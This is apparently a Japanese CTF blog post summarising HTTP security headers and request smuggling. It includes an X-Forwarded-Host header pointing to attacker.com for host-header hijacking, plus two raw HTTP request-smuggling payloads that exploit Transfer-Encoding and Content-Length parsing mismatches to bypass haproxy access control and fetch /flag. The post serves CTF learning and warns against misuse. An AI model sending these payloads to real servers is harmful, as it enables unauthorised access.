はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるHTTP通信まとめ(HTTP, Request Smuggling, Response Splitting, HTTP2)

この記事はCTFのWebセキュリティ Advent Calendar 2021の2日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

HTTP

HTTPのHeaderまとめ

  • Referer: https://www.google.com
    • 直前のページのURL
  • X-Forwarded-For: 123.123.123.123
  • X-Forwarded-Host: attacker.com
    • これをつけるとHostヘッダーの値を見て、URLを作っているようなサイトだと、こっちに書き換えることができる
    • [PoC] Host Header Hijacking in Niteflirt - YouTube
    • パスワード変更時のリンクを奪取するのに使えたりもしますね
  • X-Content-Type-Options: nosniff
  • Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
    • HSTSについての設定
    • HSTS?
      • HSTSとはHTTP接続してきたリクエストに対し、安全にHTTPSに対してリダイレクトさせようとする技術
      • 今までは?
        • 今までの流れは「HTTPリクエストが来る→HTTPレスポンスでhttpsアドレスへリダイレクト要求→HTTPSリクエスト」
        • これだと、HTTPリクエストの過程で中間者攻撃の可能性がある
      • HSTSにはブラウザに対して、このドメインではHTTPS通信してねという要請をヘッダーで行う
        • 1回目のHTTPリクエストはしょうがないが、2回目以降は期限が切れてなければ要請が続くのでHTTPSで安全
        • 最初の1回目も無くそうということでpreload機能というのもある
      • HTTPの口をふさげばいいのでは?
        • 古いサイトだとHTTPでリンク張られたりするから、現実的じゃないパターンがあるのかも
        • 色々調べたけど、決定打は見つからなかった
        • それでは最初の接続時にcookie情報を抜き出されることを防げない。cookieにsecureをつけとけば大丈夫
    • Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
    • preloadにしたURLがChromiumに送られてリスト化されているけど、ステージング環境とかがここに入ってこない?その辺大丈夫?
      • ステージング時は気を付けるべきでは?
  • Feature-Policy: fullscreen 'self'
    • Feature PolicyおよびFeature unsized-mediaの導入ガイド - 銀色うつ時間
      • とても分かりやすい。なるほど。
    • フルスクリーンを抑制できるっぽいが、セキュリティ的なうまみがあるんだろうか
      • ぱっと考えてみると、バナー広告とかが攻撃者に乗っ取られてフルスクリーンを強制するとか?
      • いい記事も、いい攻撃例も思いつかないが、脅しには使えそうな感じはする
  • Referrer-Policy: no-referrer
    • スペルミスが直されている。重複の読み方みたいにrefererでもreferrerでもどっちでもいいと思ってた
    • Refererの指定方法についてのポリシーを通知する。ブラウザへのお願いかな?
    • Referrer-Policy - HTTP | MDN
      • ここを見るとHTMLのタグでも同様のことが行える。ブラウザへのお願いだろう。
  • X-Frame-Options: DENY
    • このレスポンスのページをframeの内部で表示することができるかを指定する
      • クリックジャッキング対策
    • この場合はDENYなので、どんなframeの内部でも表示されない
    • 昨今表示させることはセキュリティリスクぐらいしかないので、DENY固定でいいんじゃないかな?
  • X-XSS-Protection: 1; mode=block
    • ブラウザのXSS防御機構を呼び出すもの
    • X-XSS-Protection - HTTP | MDN
      • ここにもあるように、ChromeXSS Auditorを止めたのは有名な話
      • 今って、このヘッダーってどういう立ち位置になってるんだろう
    • 正直ブラウザ側が放棄したヘッダーを使うのは少し怖い気がする
      • メンテが終わった機能を使い続けてしまう恐れ
  • Content-Security-Policy: default-src 'none'; img-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self'; font-src 'self'; base-uri 'none'; frame-ancestors 'none'; form-action 'none'; manifest-src 'self'
    • まあ、CSPはいいでしょう。
  • Cross-Origin-Opener-Policy
  • Fetch Metadata Request Headers
  • 日付を指定できる Date: Wed, 21 Oct 2018 07:28:00 GM
  • UA User-Agent: picobrowser
  • DNT - HTTP | MDN
    • Do Not Track
    • DNT: 0 track ok DNT: 1 track ng DNT: null N/A
  • Range
    • 一部持ってきたいときにつける
    • サーバーからAccept-Ranges: bytesとあればRangeがbyte単位で指定して使える
      • CakeCTF 2021 Writeup - 0xiso’s blog
      • nginxの設定ファイルでフラグのパターンマッチで引っかかればマスクされるようになっているのでRangeを使って分割して持ってくる
      • Range: bytes=0-10で前半持ってきて、Range: bytes=8-で後半持ってくる感じ

HTTP Request Smuggling

POST / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: AAA chunked BBB // haproxyはフォーマット違反なので無視, webrickはchunkedとして解釈する
Connection: keep-alive
Content-Length: 50 // haproxyはこちらを優先するから/flagまで送る, webrinkではchunkとされているのでこちらは無視

1
A
0

GET /flag HTTP/1.1 // webrinkではchunkとなっているのでこちらは別リクエストとして解釈して別途応答してしまう。
Host: 127.0.0.1    // この応答はhaproxyが介入していないので、haproxyでアクセス制限をかけていてもバイパスできる

POST / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: chunked // nodejsはこのTEしか認識しない
Transfer-Encoding: chunked-false // nodejsはこれを無視してchunkedで動く。haproxyはこれのせいでchunkedにならないから全体を送ってしまう?

1
A
0

GET /flag HTTP/1.1
Host: 127.0.0.1
foo: x

HTTP Response Splitting

HTTP/2